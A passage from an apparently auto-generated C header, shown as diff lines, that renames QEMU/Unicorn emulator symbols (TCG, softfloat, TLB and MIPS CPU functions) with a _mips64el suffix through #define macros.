qstring_new qstring_new_mips64el +#define qstring_type qstring_type_mips64el +#define ram_block_add ram_block_add_mips64el +#define ram_size ram_size_mips64el +#define range_compare range_compare_mips64el +#define range_covers_byte range_covers_byte_mips64el +#define range_get_last range_get_last_mips64el +#define range_merge range_merge_mips64el +#define ranges_can_merge ranges_can_merge_mips64el +#define raw_read raw_read_mips64el +#define raw_write raw_write_mips64el +#define rcon rcon_mips64el +#define read_raw_cp_reg read_raw_cp_reg_mips64el +#define recip_estimate recip_estimate_mips64el +#define recip_sqrt_estimate recip_sqrt_estimate_mips64el +#define register_cp_regs_for_features register_cp_regs_for_features_mips64el +#define register_multipage register_multipage_mips64el +#define register_subpage register_subpage_mips64el +#define register_tm_clones register_tm_clones_mips64el +#define register_types_object register_types_object_mips64el +#define regnames regnames_mips64el +#define render_memory_region render_memory_region_mips64el +#define reset_all_temps reset_all_temps_mips64el +#define reset_temp reset_temp_mips64el +#define rol32 rol32_mips64el +#define rol64 rol64_mips64el +#define ror32 ror32_mips64el +#define ror64 ror64_mips64el +#define roundAndPackFloat128 roundAndPackFloat128_mips64el +#define roundAndPackFloat16 roundAndPackFloat16_mips64el +#define roundAndPackFloat32 roundAndPackFloat32_mips64el +#define roundAndPackFloat64 roundAndPackFloat64_mips64el +#define roundAndPackFloatx80 roundAndPackFloatx80_mips64el +#define roundAndPackInt32 roundAndPackInt32_mips64el +#define roundAndPackInt64 roundAndPackInt64_mips64el +#define roundAndPackUint64 roundAndPackUint64_mips64el +#define round_to_inf round_to_inf_mips64el +#define run_on_cpu run_on_cpu_mips64el +#define s0 s0_mips64el +#define S0 S0_mips64el +#define s1 s1_mips64el +#define S1 S1_mips64el +#define sa1100_initfn sa1100_initfn_mips64el +#define sa1110_initfn sa1110_initfn_mips64el +#define save_globals save_globals_mips64el +#define scr_write scr_write_mips64el +#define sctlr_write sctlr_write_mips64el +#define set_bit set_bit_mips64el +#define set_bits set_bits_mips64el +#define set_default_nan_mode set_default_nan_mode_mips64el +#define set_feature set_feature_mips64el +#define set_float_detect_tininess set_float_detect_tininess_mips64el +#define set_float_exception_flags set_float_exception_flags_mips64el +#define set_float_rounding_mode set_float_rounding_mode_mips64el +#define set_flush_inputs_to_zero set_flush_inputs_to_zero_mips64el +#define set_flush_to_zero set_flush_to_zero_mips64el +#define set_swi_errno set_swi_errno_mips64el +#define sextract32 sextract32_mips64el +#define sextract64 sextract64_mips64el +#define shift128ExtraRightJamming shift128ExtraRightJamming_mips64el +#define shift128Right shift128Right_mips64el +#define shift128RightJamming shift128RightJamming_mips64el +#define shift32RightJamming shift32RightJamming_mips64el +#define shift64ExtraRightJamming shift64ExtraRightJamming_mips64el +#define shift64RightJamming shift64RightJamming_mips64el +#define shifter_out_im shifter_out_im_mips64el +#define shortShift128Left shortShift128Left_mips64el +#define shortShift192Left shortShift192Left_mips64el +#define simple_mpu_ap_bits simple_mpu_ap_bits_mips64el +#define size_code_gen_buffer size_code_gen_buffer_mips64el +#define softmmu_lock_user softmmu_lock_user_mips64el +#define softmmu_lock_user_string softmmu_lock_user_string_mips64el +#define softmmu_tget32 softmmu_tget32_mips64el +#define softmmu_tget8 softmmu_tget8_mips64el +#define softmmu_tput32 softmmu_tput32_mips64el +#define softmmu_unlock_user softmmu_unlock_user_mips64el +#define sort_constraints sort_constraints_mips64el +#define sp_el0_access sp_el0_access_mips64el +#define spsel_read spsel_read_mips64el +#define spsel_write spsel_write_mips64el +#define start_list start_list_mips64el +#define stb_p stb_p_mips64el +#define stb_phys stb_phys_mips64el +#define stl_be_p stl_be_p_mips64el +#define stl_be_phys stl_be_phys_mips64el +#define stl_he_p stl_he_p_mips64el +#define stl_le_p stl_le_p_mips64el +#define stl_le_phys stl_le_phys_mips64el +#define stl_phys stl_phys_mips64el +#define stl_phys_internal stl_phys_internal_mips64el +#define stl_phys_notdirty stl_phys_notdirty_mips64el +#define store_cpu_offset store_cpu_offset_mips64el +#define store_reg store_reg_mips64el +#define store_reg_bx store_reg_bx_mips64el +#define store_reg_from_load store_reg_from_load_mips64el +#define stq_be_p stq_be_p_mips64el +#define stq_be_phys stq_be_phys_mips64el +#define stq_he_p stq_he_p_mips64el +#define stq_le_p stq_le_p_mips64el +#define stq_le_phys stq_le_phys_mips64el +#define stq_phys stq_phys_mips64el +#define string_input_get_visitor string_input_get_visitor_mips64el +#define string_input_visitor_cleanup string_input_visitor_cleanup_mips64el +#define string_input_visitor_new string_input_visitor_new_mips64el +#define strongarm_cp_reginfo strongarm_cp_reginfo_mips64el +#define strstart strstart_mips64el +#define strtosz strtosz_mips64el +#define strtosz_suffix strtosz_suffix_mips64el +#define stw_be_p stw_be_p_mips64el +#define stw_be_phys stw_be_phys_mips64el +#define stw_he_p stw_he_p_mips64el +#define stw_le_p stw_le_p_mips64el +#define stw_le_phys stw_le_phys_mips64el +#define stw_phys stw_phys_mips64el +#define stw_phys_internal stw_phys_internal_mips64el +#define sub128 sub128_mips64el +#define sub16_sat sub16_sat_mips64el +#define sub16_usat sub16_usat_mips64el +#define sub192 sub192_mips64el +#define sub8_sat sub8_sat_mips64el +#define sub8_usat sub8_usat_mips64el +#define subFloat128Sigs subFloat128Sigs_mips64el +#define subFloat32Sigs subFloat32Sigs_mips64el +#define subFloat64Sigs subFloat64Sigs_mips64el +#define subFloatx80Sigs subFloatx80Sigs_mips64el +#define subpage_accepts subpage_accepts_mips64el +#define subpage_init subpage_init_mips64el +#define subpage_ops subpage_ops_mips64el +#define subpage_read subpage_read_mips64el +#define subpage_register subpage_register_mips64el +#define subpage_write subpage_write_mips64el +#define suffix_mul suffix_mul_mips64el +#define swap_commutative swap_commutative_mips64el +#define swap_commutative2 swap_commutative2_mips64el +#define switch_mode switch_mode_mips64el +#define switch_v7m_sp switch_v7m_sp_mips64el +#define syn_aa32_bkpt syn_aa32_bkpt_mips64el +#define syn_aa32_hvc syn_aa32_hvc_mips64el +#define syn_aa32_smc syn_aa32_smc_mips64el +#define syn_aa32_svc syn_aa32_svc_mips64el +#define syn_breakpoint syn_breakpoint_mips64el +#define sync_globals sync_globals_mips64el +#define syn_cp14_rrt_trap syn_cp14_rrt_trap_mips64el +#define syn_cp14_rt_trap syn_cp14_rt_trap_mips64el +#define syn_cp15_rrt_trap syn_cp15_rrt_trap_mips64el +#define syn_cp15_rt_trap syn_cp15_rt_trap_mips64el +#define syn_data_abort syn_data_abort_mips64el +#define syn_fp_access_trap syn_fp_access_trap_mips64el +#define syn_insn_abort syn_insn_abort_mips64el +#define syn_swstep syn_swstep_mips64el +#define syn_uncategorized syn_uncategorized_mips64el +#define syn_watchpoint syn_watchpoint_mips64el +#define syscall_err syscall_err_mips64el +#define system_bus_class_init system_bus_class_init_mips64el +#define system_bus_info system_bus_info_mips64el +#define t2ee_cp_reginfo t2ee_cp_reginfo_mips64el +#define table_logic_cc table_logic_cc_mips64el +#define target_parse_constraint target_parse_constraint_mips64el +#define target_words_bigendian target_words_bigendian_mips64el +#define tb_add_jump tb_add_jump_mips64el +#define tb_alloc tb_alloc_mips64el +#define tb_alloc_page tb_alloc_page_mips64el +#define tb_check_watchpoint tb_check_watchpoint_mips64el +#define tb_find_fast tb_find_fast_mips64el +#define tb_find_pc tb_find_pc_mips64el +#define tb_find_slow tb_find_slow_mips64el +#define tb_flush tb_flush_mips64el +#define tb_flush_jmp_cache tb_flush_jmp_cache_mips64el +#define tb_free tb_free_mips64el +#define tb_gen_code tb_gen_code_mips64el +#define tb_hash_remove tb_hash_remove_mips64el +#define tb_invalidate_phys_addr tb_invalidate_phys_addr_mips64el +#define tb_invalidate_phys_page_range tb_invalidate_phys_page_range_mips64el +#define tb_invalidate_phys_range tb_invalidate_phys_range_mips64el +#define tb_jmp_cache_hash_func tb_jmp_cache_hash_func_mips64el +#define tb_jmp_cache_hash_page tb_jmp_cache_hash_page_mips64el +#define tb_jmp_remove tb_jmp_remove_mips64el +#define tb_link_page tb_link_page_mips64el +#define tb_page_remove tb_page_remove_mips64el +#define tb_phys_hash_func tb_phys_hash_func_mips64el +#define tb_phys_invalidate tb_phys_invalidate_mips64el +#define tb_reset_jump tb_reset_jump_mips64el +#define tb_set_jmp_target tb_set_jmp_target_mips64el +#define tcg_accel_class_init tcg_accel_class_init_mips64el +#define tcg_accel_type tcg_accel_type_mips64el +#define tcg_add_param_i32 tcg_add_param_i32_mips64el +#define tcg_add_param_i64 tcg_add_param_i64_mips64el +#define tcg_add_target_add_op_defs tcg_add_target_add_op_defs_mips64el +#define tcg_allowed tcg_allowed_mips64el +#define tcg_canonicalize_memop tcg_canonicalize_memop_mips64el +#define tcg_commit tcg_commit_mips64el +#define tcg_cond_to_jcc tcg_cond_to_jcc_mips64el +#define tcg_constant_folding tcg_constant_folding_mips64el +#define tcg_const_i32 tcg_const_i32_mips64el +#define tcg_const_i64 tcg_const_i64_mips64el +#define tcg_const_local_i32 tcg_const_local_i32_mips64el +#define tcg_const_local_i64 tcg_const_local_i64_mips64el +#define tcg_context_init tcg_context_init_mips64el +#define tcg_cpu_address_space_init tcg_cpu_address_space_init_mips64el +#define tcg_cpu_exec tcg_cpu_exec_mips64el +#define tcg_current_code_size tcg_current_code_size_mips64el +#define tcg_dump_info tcg_dump_info_mips64el +#define tcg_dump_ops tcg_dump_ops_mips64el +#define tcg_exec_all tcg_exec_all_mips64el +#define tcg_find_helper tcg_find_helper_mips64el +#define tcg_func_start tcg_func_start_mips64el +#define tcg_gen_abs_i32 tcg_gen_abs_i32_mips64el +#define tcg_gen_add2_i32 tcg_gen_add2_i32_mips64el +#define tcg_gen_add_i32 tcg_gen_add_i32_mips64el +#define tcg_gen_add_i64 tcg_gen_add_i64_mips64el +#define tcg_gen_addi_i32 tcg_gen_addi_i32_mips64el +#define tcg_gen_addi_i64 tcg_gen_addi_i64_mips64el +#define tcg_gen_andc_i32 tcg_gen_andc_i32_mips64el +#define tcg_gen_and_i32 tcg_gen_and_i32_mips64el +#define tcg_gen_and_i64 tcg_gen_and_i64_mips64el +#define tcg_gen_andi_i32 tcg_gen_andi_i32_mips64el +#define tcg_gen_andi_i64 tcg_gen_andi_i64_mips64el +#define tcg_gen_br tcg_gen_br_mips64el +#define tcg_gen_brcond_i32 tcg_gen_brcond_i32_mips64el +#define tcg_gen_brcond_i64 tcg_gen_brcond_i64_mips64el +#define tcg_gen_brcondi_i32 tcg_gen_brcondi_i32_mips64el +#define tcg_gen_bswap16_i32 tcg_gen_bswap16_i32_mips64el +#define tcg_gen_bswap32_i32 tcg_gen_bswap32_i32_mips64el +#define tcg_gen_callN tcg_gen_callN_mips64el +#define tcg_gen_code tcg_gen_code_mips64el +#define tcg_gen_code_common tcg_gen_code_common_mips64el +#define tcg_gen_code_search_pc tcg_gen_code_search_pc_mips64el +#define tcg_gen_concat_i32_i64 tcg_gen_concat_i32_i64_mips64el +#define tcg_gen_debug_insn_start tcg_gen_debug_insn_start_mips64el +#define tcg_gen_deposit_i32 tcg_gen_deposit_i32_mips64el +#define tcg_gen_exit_tb tcg_gen_exit_tb_mips64el +#define tcg_gen_ext16s_i32 tcg_gen_ext16s_i32_mips64el +#define tcg_gen_ext16u_i32 tcg_gen_ext16u_i32_mips64el +#define tcg_gen_ext32s_i64 tcg_gen_ext32s_i64_mips64el +#define tcg_gen_ext32u_i64 tcg_gen_ext32u_i64_mips64el +#define tcg_gen_ext8s_i32 tcg_gen_ext8s_i32_mips64el +#define tcg_gen_ext8u_i32 tcg_gen_ext8u_i32_mips64el +#define tcg_gen_ext_i32_i64 tcg_gen_ext_i32_i64_mips64el +#define tcg_gen_extu_i32_i64 tcg_gen_extu_i32_i64_mips64el +#define tcg_gen_goto_tb tcg_gen_goto_tb_mips64el +#define tcg_gen_ld_i32 tcg_gen_ld_i32_mips64el +#define tcg_gen_ld_i64 tcg_gen_ld_i64_mips64el +#define tcg_gen_ldst_op_i32 tcg_gen_ldst_op_i32_mips64el +#define tcg_gen_ldst_op_i64 tcg_gen_ldst_op_i64_mips64el +#define tcg_gen_movcond_i32 tcg_gen_movcond_i32_mips64el +#define tcg_gen_movcond_i64 tcg_gen_movcond_i64_mips64el +#define tcg_gen_mov_i32 tcg_gen_mov_i32_mips64el +#define tcg_gen_mov_i64 tcg_gen_mov_i64_mips64el +#define tcg_gen_movi_i32 tcg_gen_movi_i32_mips64el +#define tcg_gen_movi_i64 tcg_gen_movi_i64_mips64el +#define tcg_gen_mul_i32 tcg_gen_mul_i32_mips64el +#define tcg_gen_muls2_i32 tcg_gen_muls2_i32_mips64el +#define tcg_gen_mulu2_i32 tcg_gen_mulu2_i32_mips64el +#define tcg_gen_neg_i32 tcg_gen_neg_i32_mips64el +#define tcg_gen_neg_i64 tcg_gen_neg_i64_mips64el +#define tcg_gen_not_i32 tcg_gen_not_i32_mips64el +#define tcg_gen_op0 tcg_gen_op0_mips64el +#define tcg_gen_op1i tcg_gen_op1i_mips64el +#define tcg_gen_op2_i32 tcg_gen_op2_i32_mips64el +#define tcg_gen_op2_i64 tcg_gen_op2_i64_mips64el +#define tcg_gen_op2i_i32 tcg_gen_op2i_i32_mips64el +#define tcg_gen_op2i_i64 tcg_gen_op2i_i64_mips64el +#define tcg_gen_op3_i32 tcg_gen_op3_i32_mips64el +#define tcg_gen_op3_i64 tcg_gen_op3_i64_mips64el +#define tcg_gen_op4_i32 tcg_gen_op4_i32_mips64el +#define tcg_gen_op4i_i32 tcg_gen_op4i_i32_mips64el +#define tcg_gen_op4ii_i32 tcg_gen_op4ii_i32_mips64el +#define tcg_gen_op4ii_i64 tcg_gen_op4ii_i64_mips64el +#define tcg_gen_op5ii_i32 tcg_gen_op5ii_i32_mips64el +#define tcg_gen_op6_i32 tcg_gen_op6_i32_mips64el +#define tcg_gen_op6i_i32 tcg_gen_op6i_i32_mips64el +#define tcg_gen_op6i_i64 tcg_gen_op6i_i64_mips64el +#define tcg_gen_orc_i32 tcg_gen_orc_i32_mips64el +#define tcg_gen_or_i32 tcg_gen_or_i32_mips64el +#define tcg_gen_or_i64 tcg_gen_or_i64_mips64el +#define tcg_gen_ori_i32 tcg_gen_ori_i32_mips64el +#define tcg_gen_qemu_ld_i32 tcg_gen_qemu_ld_i32_mips64el +#define tcg_gen_qemu_ld_i64 tcg_gen_qemu_ld_i64_mips64el +#define tcg_gen_qemu_st_i32 tcg_gen_qemu_st_i32_mips64el +#define tcg_gen_qemu_st_i64 tcg_gen_qemu_st_i64_mips64el +#define tcg_gen_rotl_i32 tcg_gen_rotl_i32_mips64el +#define tcg_gen_rotli_i32 tcg_gen_rotli_i32_mips64el +#define tcg_gen_rotr_i32 tcg_gen_rotr_i32_mips64el +#define tcg_gen_rotri_i32 tcg_gen_rotri_i32_mips64el +#define tcg_gen_sar_i32 tcg_gen_sar_i32_mips64el +#define tcg_gen_sari_i32 tcg_gen_sari_i32_mips64el +#define tcg_gen_setcond_i32 tcg_gen_setcond_i32_mips64el +#define tcg_gen_shl_i32 tcg_gen_shl_i32_mips64el +#define tcg_gen_shl_i64 tcg_gen_shl_i64_mips64el +#define tcg_gen_shli_i32 tcg_gen_shli_i32_mips64el +#define tcg_gen_shli_i64 tcg_gen_shli_i64_mips64el +#define tcg_gen_shr_i32 tcg_gen_shr_i32_mips64el +#define tcg_gen_shifti_i64 tcg_gen_shifti_i64_mips64el +#define tcg_gen_shr_i64 tcg_gen_shr_i64_mips64el +#define tcg_gen_shri_i32 tcg_gen_shri_i32_mips64el +#define tcg_gen_shri_i64 tcg_gen_shri_i64_mips64el +#define tcg_gen_st_i32 tcg_gen_st_i32_mips64el +#define tcg_gen_st_i64 tcg_gen_st_i64_mips64el +#define tcg_gen_sub_i32 tcg_gen_sub_i32_mips64el +#define tcg_gen_sub_i64 tcg_gen_sub_i64_mips64el +#define tcg_gen_subi_i32 tcg_gen_subi_i32_mips64el +#define tcg_gen_trunc_i64_i32 tcg_gen_trunc_i64_i32_mips64el +#define tcg_gen_trunc_shr_i64_i32 tcg_gen_trunc_shr_i64_i32_mips64el +#define tcg_gen_xor_i32 tcg_gen_xor_i32_mips64el +#define tcg_gen_xor_i64 tcg_gen_xor_i64_mips64el +#define tcg_gen_xori_i32 tcg_gen_xori_i32_mips64el +#define tcg_get_arg_str_i32 tcg_get_arg_str_i32_mips64el +#define tcg_get_arg_str_i64 tcg_get_arg_str_i64_mips64el +#define tcg_get_arg_str_idx tcg_get_arg_str_idx_mips64el +#define tcg_global_mem_new_i32 tcg_global_mem_new_i32_mips64el +#define tcg_global_mem_new_i64 tcg_global_mem_new_i64_mips64el +#define tcg_global_mem_new_internal tcg_global_mem_new_internal_mips64el +#define tcg_global_reg_new_i32 tcg_global_reg_new_i32_mips64el +#define tcg_global_reg_new_i64 tcg_global_reg_new_i64_mips64el +#define tcg_global_reg_new_internal tcg_global_reg_new_internal_mips64el +#define tcg_handle_interrupt tcg_handle_interrupt_mips64el +#define tcg_init tcg_init_mips64el +#define tcg_invert_cond tcg_invert_cond_mips64el +#define tcg_la_bb_end tcg_la_bb_end_mips64el +#define tcg_la_br_end tcg_la_br_end_mips64el +#define tcg_la_func_end tcg_la_func_end_mips64el +#define tcg_liveness_analysis tcg_liveness_analysis_mips64el +#define tcg_malloc tcg_malloc_mips64el +#define tcg_malloc_internal tcg_malloc_internal_mips64el +#define tcg_op_defs_org tcg_op_defs_org_mips64el +#define tcg_opt_gen_mov tcg_opt_gen_mov_mips64el +#define tcg_opt_gen_movi tcg_opt_gen_movi_mips64el +#define tcg_optimize tcg_optimize_mips64el +#define tcg_out16 tcg_out16_mips64el +#define tcg_out32 tcg_out32_mips64el +#define tcg_out64 tcg_out64_mips64el +#define tcg_out8 tcg_out8_mips64el +#define tcg_out_addi tcg_out_addi_mips64el +#define tcg_out_branch tcg_out_branch_mips64el +#define tcg_out_brcond32 tcg_out_brcond32_mips64el +#define tcg_out_brcond64 tcg_out_brcond64_mips64el +#define tcg_out_bswap32 tcg_out_bswap32_mips64el +#define tcg_out_bswap64 tcg_out_bswap64_mips64el +#define tcg_out_call tcg_out_call_mips64el +#define tcg_out_cmp tcg_out_cmp_mips64el +#define tcg_out_ext16s tcg_out_ext16s_mips64el +#define tcg_out_ext16u tcg_out_ext16u_mips64el +#define tcg_out_ext32s tcg_out_ext32s_mips64el +#define tcg_out_ext32u tcg_out_ext32u_mips64el +#define tcg_out_ext8s tcg_out_ext8s_mips64el +#define tcg_out_ext8u tcg_out_ext8u_mips64el +#define tcg_out_jmp tcg_out_jmp_mips64el +#define tcg_out_jxx tcg_out_jxx_mips64el +#define tcg_out_label tcg_out_label_mips64el +#define tcg_out_ld tcg_out_ld_mips64el +#define tcg_out_modrm tcg_out_modrm_mips64el +#define tcg_out_modrm_offset tcg_out_modrm_offset_mips64el +#define tcg_out_modrm_sib_offset tcg_out_modrm_sib_offset_mips64el +#define tcg_out_mov tcg_out_mov_mips64el +#define tcg_out_movcond32 tcg_out_movcond32_mips64el +#define tcg_out_movcond64 tcg_out_movcond64_mips64el +#define tcg_out_movi tcg_out_movi_mips64el +#define tcg_out_op tcg_out_op_mips64el +#define tcg_out_pop tcg_out_pop_mips64el +#define tcg_out_push tcg_out_push_mips64el +#define tcg_out_qemu_ld tcg_out_qemu_ld_mips64el +#define tcg_out_qemu_ld_direct tcg_out_qemu_ld_direct_mips64el +#define tcg_out_qemu_ld_slow_path tcg_out_qemu_ld_slow_path_mips64el +#define tcg_out_qemu_st tcg_out_qemu_st_mips64el +#define tcg_out_qemu_st_direct tcg_out_qemu_st_direct_mips64el +#define tcg_out_qemu_st_slow_path tcg_out_qemu_st_slow_path_mips64el +#define tcg_out_reloc tcg_out_reloc_mips64el +#define tcg_out_rolw_8 tcg_out_rolw_8_mips64el +#define tcg_out_setcond32 tcg_out_setcond32_mips64el +#define tcg_out_setcond64 tcg_out_setcond64_mips64el +#define tcg_out_shifti tcg_out_shifti_mips64el +#define tcg_out_st tcg_out_st_mips64el +#define tcg_out_tb_finalize tcg_out_tb_finalize_mips64el +#define tcg_out_tb_init tcg_out_tb_init_mips64el +#define tcg_out_tlb_load tcg_out_tlb_load_mips64el +#define tcg_out_vex_modrm tcg_out_vex_modrm_mips64el +#define tcg_patch32 tcg_patch32_mips64el +#define tcg_patch8 tcg_patch8_mips64el +#define tcg_pcrel_diff tcg_pcrel_diff_mips64el +#define tcg_pool_reset tcg_pool_reset_mips64el +#define tcg_prologue_init tcg_prologue_init_mips64el +#define tcg_ptr_byte_diff tcg_ptr_byte_diff_mips64el +#define tcg_reg_alloc tcg_reg_alloc_mips64el +#define tcg_reg_alloc_bb_end tcg_reg_alloc_bb_end_mips64el +#define tcg_reg_alloc_call tcg_reg_alloc_call_mips64el +#define tcg_reg_alloc_mov tcg_reg_alloc_mov_mips64el +#define tcg_reg_alloc_movi tcg_reg_alloc_movi_mips64el +#define tcg_reg_alloc_op tcg_reg_alloc_op_mips64el +#define tcg_reg_alloc_start tcg_reg_alloc_start_mips64el +#define tcg_reg_free tcg_reg_free_mips64el +#define tcg_reg_sync tcg_reg_sync_mips64el +#define tcg_set_frame tcg_set_frame_mips64el +#define tcg_set_nop tcg_set_nop_mips64el +#define tcg_swap_cond tcg_swap_cond_mips64el +#define tcg_target_callee_save_regs tcg_target_callee_save_regs_mips64el +#define tcg_target_call_iarg_regs tcg_target_call_iarg_regs_mips64el +#define tcg_target_call_oarg_regs tcg_target_call_oarg_regs_mips64el +#define tcg_target_const_match tcg_target_const_match_mips64el +#define tcg_target_init tcg_target_init_mips64el +#define tcg_target_qemu_prologue tcg_target_qemu_prologue_mips64el +#define tcg_target_reg_alloc_order tcg_target_reg_alloc_order_mips64el +#define tcg_temp_alloc tcg_temp_alloc_mips64el +#define tcg_temp_free_i32 tcg_temp_free_i32_mips64el +#define tcg_temp_free_i64 tcg_temp_free_i64_mips64el +#define tcg_temp_free_internal tcg_temp_free_internal_mips64el +#define tcg_temp_local_new_i32 tcg_temp_local_new_i32_mips64el +#define tcg_temp_local_new_i64 tcg_temp_local_new_i64_mips64el +#define tcg_temp_new_i32 tcg_temp_new_i32_mips64el +#define tcg_temp_new_i64 tcg_temp_new_i64_mips64el +#define tcg_temp_new_internal tcg_temp_new_internal_mips64el +#define tcg_temp_new_internal_i32 tcg_temp_new_internal_i32_mips64el +#define tcg_temp_new_internal_i64 tcg_temp_new_internal_i64_mips64el +#define tdb_hash tdb_hash_mips64el +#define teecr_write teecr_write_mips64el +#define teehbr_access teehbr_access_mips64el +#define temp_allocate_frame temp_allocate_frame_mips64el +#define temp_dead temp_dead_mips64el +#define temps_are_copies temps_are_copies_mips64el +#define temp_save temp_save_mips64el +#define temp_sync temp_sync_mips64el +#define tgen_arithi tgen_arithi_mips64el +#define tgen_arithr tgen_arithr_mips64el +#define thumb2_logic_op thumb2_logic_op_mips64el +#define ti925t_initfn ti925t_initfn_mips64el +#define tlb_add_large_page tlb_add_large_page_mips64el +#define tlb_flush_entry tlb_flush_entry_mips64el +#define tlbi_aa64_asid_is_write tlbi_aa64_asid_is_write_mips64el +#define tlbi_aa64_asid_write tlbi_aa64_asid_write_mips64el +#define tlbi_aa64_vaa_is_write tlbi_aa64_vaa_is_write_mips64el +#define tlbi_aa64_vaa_write tlbi_aa64_vaa_write_mips64el +#define tlbi_aa64_va_is_write tlbi_aa64_va_is_write_mips64el +#define tlbi_aa64_va_write tlbi_aa64_va_write_mips64el +#define tlbiall_is_write tlbiall_is_write_mips64el +#define tlbiall_write tlbiall_write_mips64el +#define tlbiasid_is_write tlbiasid_is_write_mips64el +#define tlbiasid_write tlbiasid_write_mips64el +#define tlbimvaa_is_write tlbimvaa_is_write_mips64el +#define tlbimvaa_write tlbimvaa_write_mips64el +#define tlbimva_is_write tlbimva_is_write_mips64el +#define tlbimva_write tlbimva_write_mips64el +#define tlb_is_dirty_ram tlb_is_dirty_ram_mips64el +#define tlb_protect_code tlb_protect_code_mips64el +#define tlb_reset_dirty_range tlb_reset_dirty_range_mips64el +#define tlb_reset_dirty_range_all tlb_reset_dirty_range_all_mips64el +#define tlb_set_dirty tlb_set_dirty_mips64el +#define tlb_set_dirty1 tlb_set_dirty1_mips64el +#define tlb_unprotect_code_phys tlb_unprotect_code_phys_mips64el +#define tlb_vaddr_to_host tlb_vaddr_to_host_mips64el +#define token_get_type token_get_type_mips64el +#define token_get_value token_get_value_mips64el +#define token_is_escape token_is_escape_mips64el +#define token_is_keyword token_is_keyword_mips64el +#define token_is_operator token_is_operator_mips64el +#define tokens_append_from_iter tokens_append_from_iter_mips64el +#define to_qiv to_qiv_mips64el +#define to_qov to_qov_mips64el +#define tosa_init tosa_init_mips64el +#define tosa_machine_init tosa_machine_init_mips64el +#define tswap32 tswap32_mips64el +#define tswap64 tswap64_mips64el +#define type_class_get_size type_class_get_size_mips64el +#define type_get_by_name type_get_by_name_mips64el +#define type_get_parent type_get_parent_mips64el +#define type_has_parent type_has_parent_mips64el +#define type_initialize type_initialize_mips64el +#define type_initialize_interface type_initialize_interface_mips64el +#define type_is_ancestor type_is_ancestor_mips64el +#define type_new type_new_mips64el +#define type_object_get_size type_object_get_size_mips64el +#define type_register_internal type_register_internal_mips64el +#define type_table_add type_table_add_mips64el +#define type_table_get type_table_get_mips64el +#define type_table_lookup type_table_lookup_mips64el +#define uint16_to_float32 uint16_to_float32_mips64el +#define uint16_to_float64 uint16_to_float64_mips64el +#define uint32_to_float32 uint32_to_float32_mips64el +#define uint32_to_float64 uint32_to_float64_mips64el +#define uint64_to_float128 uint64_to_float128_mips64el +#define uint64_to_float32 uint64_to_float32_mips64el +#define uint64_to_float64 uint64_to_float64_mips64el +#define unassigned_io_ops unassigned_io_ops_mips64el +#define unassigned_io_read unassigned_io_read_mips64el +#define unassigned_io_write unassigned_io_write_mips64el +#define unassigned_mem_accepts unassigned_mem_accepts_mips64el +#define unassigned_mem_ops unassigned_mem_ops_mips64el +#define unassigned_mem_read unassigned_mem_read_mips64el +#define unassigned_mem_write unassigned_mem_write_mips64el +#define update_spsel update_spsel_mips64el +#define v6_cp_reginfo v6_cp_reginfo_mips64el +#define v6k_cp_reginfo v6k_cp_reginfo_mips64el +#define v7_cp_reginfo v7_cp_reginfo_mips64el +#define v7mp_cp_reginfo v7mp_cp_reginfo_mips64el +#define v7m_pop v7m_pop_mips64el +#define v7m_push v7m_push_mips64el +#define v8_cp_reginfo v8_cp_reginfo_mips64el +#define v8_el2_cp_reginfo v8_el2_cp_reginfo_mips64el +#define v8_el3_cp_reginfo v8_el3_cp_reginfo_mips64el +#define v8_el3_no_el2_cp_reginfo v8_el3_no_el2_cp_reginfo_mips64el +#define vapa_cp_reginfo vapa_cp_reginfo_mips64el +#define vbar_write vbar_write_mips64el +#define vfp_exceptbits_from_host vfp_exceptbits_from_host_mips64el +#define vfp_exceptbits_to_host vfp_exceptbits_to_host_mips64el +#define vfp_get_fpcr vfp_get_fpcr_mips64el +#define vfp_get_fpscr vfp_get_fpscr_mips64el +#define vfp_get_fpsr vfp_get_fpsr_mips64el +#define vfp_reg_offset vfp_reg_offset_mips64el +#define vfp_set_fpcr vfp_set_fpcr_mips64el +#define vfp_set_fpscr vfp_set_fpscr_mips64el +#define vfp_set_fpsr vfp_set_fpsr_mips64el +#define visit_end_implicit_struct visit_end_implicit_struct_mips64el +#define visit_end_list visit_end_list_mips64el +#define visit_end_struct visit_end_struct_mips64el +#define visit_end_union visit_end_union_mips64el +#define visit_get_next_type visit_get_next_type_mips64el +#define visit_next_list visit_next_list_mips64el +#define visit_optional visit_optional_mips64el +#define visit_start_implicit_struct visit_start_implicit_struct_mips64el +#define visit_start_list visit_start_list_mips64el +#define visit_start_struct visit_start_struct_mips64el +#define visit_start_union visit_start_union_mips64el +#define vmsa_cp_reginfo vmsa_cp_reginfo_mips64el +#define vmsa_tcr_el1_write vmsa_tcr_el1_write_mips64el +#define vmsa_ttbcr_raw_write vmsa_ttbcr_raw_write_mips64el +#define vmsa_ttbcr_reset vmsa_ttbcr_reset_mips64el +#define vmsa_ttbcr_write vmsa_ttbcr_write_mips64el +#define vmsa_ttbr_write vmsa_ttbr_write_mips64el +#define write_cpustate_to_list write_cpustate_to_list_mips64el +#define write_list_to_cpustate write_list_to_cpustate_mips64el +#define write_raw_cp_reg write_raw_cp_reg_mips64el +#define X86CPURegister32_lookup X86CPURegister32_lookup_mips64el +#define x86_op_defs x86_op_defs_mips64el +#define xpsr_read xpsr_read_mips64el +#define xpsr_write xpsr_write_mips64el +#define xscale_cpar_write xscale_cpar_write_mips64el +#define xscale_cp_reginfo xscale_cp_reginfo_mips64el +#define cpu_mips_exec cpu_mips_exec_mips64el +#define cpu_mips_get_random cpu_mips_get_random_mips64el +#define cpu_mips_get_count cpu_mips_get_count_mips64el +#define cpu_mips_store_count cpu_mips_store_count_mips64el +#define cpu_mips_store_compare cpu_mips_store_compare_mips64el +#define cpu_mips_start_count cpu_mips_start_count_mips64el +#define cpu_mips_stop_count cpu_mips_stop_count_mips64el +#define mips_machine_init mips_machine_init_mips64el +#define cpu_mips_kseg0_to_phys cpu_mips_kseg0_to_phys_mips64el +#define cpu_mips_phys_to_kseg0 cpu_mips_phys_to_kseg0_mips64el +#define cpu_mips_kvm_um_phys_to_kseg0 cpu_mips_kvm_um_phys_to_kseg0_mips64el +#define mips_cpu_register_types mips_cpu_register_types_mips64el +#define cpu_mips_init cpu_mips_init_mips64el +#define cpu_state_reset cpu_state_reset_mips64el +#define helper_msa_andi_b helper_msa_andi_b_mips64el +#define helper_msa_ori_b helper_msa_ori_b_mips64el +#define helper_msa_nori_b helper_msa_nori_b_mips64el +#define helper_msa_xori_b helper_msa_xori_b_mips64el +#define helper_msa_bmnzi_b helper_msa_bmnzi_b_mips64el +#define helper_msa_bmzi_b helper_msa_bmzi_b_mips64el +#define 